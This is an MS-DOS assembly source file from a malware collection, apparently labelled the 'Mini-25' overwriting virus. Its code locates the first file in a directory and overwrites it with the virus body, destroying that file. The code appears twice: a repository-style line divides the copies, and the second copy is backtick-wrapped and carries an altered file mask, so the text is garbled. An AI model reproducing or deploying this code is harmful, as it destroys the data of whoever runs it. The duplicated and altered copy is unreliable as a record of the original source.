MalwareSourceCode/MSDOS/O-Index/Virus.MSDOS.Unknown.ow8.asm

;
; Mini-25
;
; Overwrites the first file in a directory


FNAM            Equ 09eh

Main:           Mov Ah,4eh
                Lea Dx,FileSpec
                Int 21h
                Mov Ah,3ch
                Lea Dx,FNAM
On2:            Int 21h
FileSpec        Db '*.*',0
                Mov Bh,40h
                Xchg Cx,Dx
                Xchg Ax,Bx
                Jmp On2
Length          Equ $-Main
re-organize push 2022-08-21 09:07:57 +00:00			`;`
			`; Mini-25`
			`;`
			`; Overwrites the first file in a directory`


			`FNAM Equ 09eh`

			`Main: Mov Ah,4eh`
			`Lea Dx,FileSpec`
			`Int 21h`
			`Mov Ah,3ch`
			`Lea Dx,FNAM`
			`On2: Int 21h`
			`FileSpec Db '.',0`
			`Mov Bh,40h`
			`Xchg Cx,Dx`
			`Xchg Ax,Bx`
			`Jmp On2`
			`Length Equ $-Main`